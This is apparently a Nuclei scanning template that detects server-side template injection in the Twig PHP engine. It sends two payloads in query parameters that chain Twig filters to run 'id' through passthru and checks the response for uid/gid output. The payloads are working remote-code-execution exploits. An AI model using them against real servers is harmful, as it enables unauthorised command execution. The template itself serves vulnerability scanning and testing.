id: twig-ssti

info:
  name: Twig - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Twig, a PHP template engine, posed significant challenges in crafting a working payload due to its built-in and default configurations, particularly in string creation. However, by utilizing the block feature and the built-in _charset variable, Attacker successfully developed a payload by nesting these elements together.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: twig,ssti,dast,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{%block%20U%}id000passthru{%endblock%}{%set%20x=block(_charset%7Cfirst)%7Csplit(000)%}{{[x%7Cfirst]%7Cmap(x%7Clast)%7Cjoin}}"
        - "{{id~passthru~_context%7Cjoin%7Cslice(2,2)%7Csplit(000)%7Cmap(_context%7Cjoin%7Cslice(5,8))}}"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
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